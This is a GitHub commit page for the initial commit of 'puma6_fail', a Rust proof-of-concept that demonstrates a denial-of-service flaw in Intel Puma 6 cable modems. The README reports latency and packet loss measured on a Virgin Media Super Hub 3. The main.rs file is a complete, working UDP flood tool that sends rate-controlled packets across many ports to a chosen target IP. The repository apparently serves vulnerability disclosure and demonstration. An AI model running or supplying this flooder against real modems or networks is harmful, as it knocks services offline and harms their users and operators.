-
-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 75d3f5c
Showing
7 changed files
with
194 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
# EditorConfig is awesome: http://EditorConfig.org | ||
|
||
# top-most EditorConfig file | ||
root = true | ||
|
||
# Unix-style newlines with a newline ending every file | ||
[*] | ||
end_of_line = lf | ||
insert_final_newline = true | ||
charset = utf-8 | ||
indent_style = tab | ||
indent_size = 2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
# Handle line endings automatically for files detected as text | ||
# and leave all files detected as binary untouched. | ||
* text=auto eol=lf | ||
|
||
*.bat text eol=crlf | ||
|
||
# | ||
# The above will handle all files NOT found below | ||
# | ||
# These files are text and should be normalized (Convert crlf => lf) | ||
*.css text | ||
*.df text | ||
*.htm text | ||
*.html text | ||
*.java text | ||
*.js text | ||
*.json text | ||
*.jsp text | ||
*.jspf text | ||
*.properties text | ||
*.sh text | ||
*.sql text | ||
*.svg text | ||
*.tld text | ||
*.txt text | ||
*.xml text | ||
|
||
# These files are binary and should be left untouched | ||
# (binary is a macro for -text -diff) | ||
*.class binary | ||
*.dll binary | ||
*.ear binary | ||
*.gif binary | ||
*.ico binary | ||
*.jar binary | ||
*.jpg binary | ||
*.jpeg binary | ||
*.png binary | ||
*.so binary | ||
*.war binary |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
# rust compiled | ||
target | ||
|
||
# idea project files | ||
*.iml | ||
.idea/ |
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
[package] | ||
name = "puma6_fail" | ||
version = "0.1.0" | ||
authors = ["Ross Allan <[email protected]>"] | ||
|
||
[dependencies] | ||
time = "0.1.37" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
# Puma 6 fail demo | ||
|
||
Tool to demonstrate issue from this post found by macket: https://www.dslreports.com/forum/r31377755- | ||
|
||
DoS occurs in either direction - UDP from LAN to WAN or WAN to LAN. | ||
|
||
Testing through a local Virgin Media Super Hub 3 modem: | ||
|
||
1mbps/2000pps causes ~20ms average latency rise with 200 maximum | ||
2mbps/4000pps causes ~200ms average latency and 70% packet loss | ||
3mbps/6000pps causes ~250ms average latency and 95% packet loss | ||
|
||
 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,62 @@ | ||
extern crate time; | ||
|
||
use std::env; | ||
use std::net::UdpSocket; | ||
use std::thread; | ||
|
||
fn zeros(size: usize) -> Vec<u8> { | ||
let mut zero_vec: Vec<u8> = Vec::with_capacity(size); | ||
#[allow(unused_variables)] | ||
for i in 0..size { | ||
zero_vec.push(0u8); | ||
} | ||
return zero_vec; | ||
} | ||
|
||
fn main() { | ||
let args: Vec<_> = env::args().collect(); | ||
// default to an unused address (entire /8 unused) | ||
let mut target = "51.0.0.0"; | ||
let mut length = 50usize; | ||
let mut mbper_second = 0.5f32; | ||
let mut port_range = 10000; | ||
|
||
println!("usage: ./puma6_fail <target ip={}> <packet length={}> <mbps={}> <ports={}>", target, length, mbper_second, port_range); | ||
|
||
if args.len() > 1 { | ||
target = args[1].as_str(); | ||
} | ||
|
||
let source = UdpSocket::bind("0.0.0.0:10000").expect("couldn't bind to address");; | ||
if args.len() > 2 { | ||
length = args[2].as_str().parse::<usize>().expect("invalid packet size") | ||
} | ||
// 20 byte IP header + 8 byte UDP header + data | ||
let data = zeros(length-28); | ||
|
||
if args.len() > 3 { | ||
mbper_second = args[3].as_str().parse::<f32>().expect("invalid speed") | ||
} | ||
let per_second = ((1024f32 * 1024f32 * mbper_second) / 8f32) as usize; | ||
|
||
if args.len() > 4 { | ||
port_range = args[4].as_str().parse::<u16>().expect("invalid port count") | ||
} | ||
|
||
let packets_per_millisecond:usize = (per_second / length)/1000; | ||
println!("Sending {} UDP pps, {} bytes, to {} ports at {}", packets_per_millisecond*1000, length, port_range, target); | ||
|
||
let start = time::PreciseTime::now(); | ||
let mut count = 0; | ||
loop { | ||
for port in 10000..(10000 + port_range) { | ||
source.send_to(&data, format!("{}:{}", target, port)).ok(); | ||
count = count + 1; | ||
let elapsed = start.to(time::PreciseTime::now()).num_milliseconds(); | ||
if count/ packets_per_millisecond > (elapsed as usize) { | ||
#[allow(deprecated)] | ||
thread::sleep_ms(2); | ||
} | ||
} | ||
} | ||
} |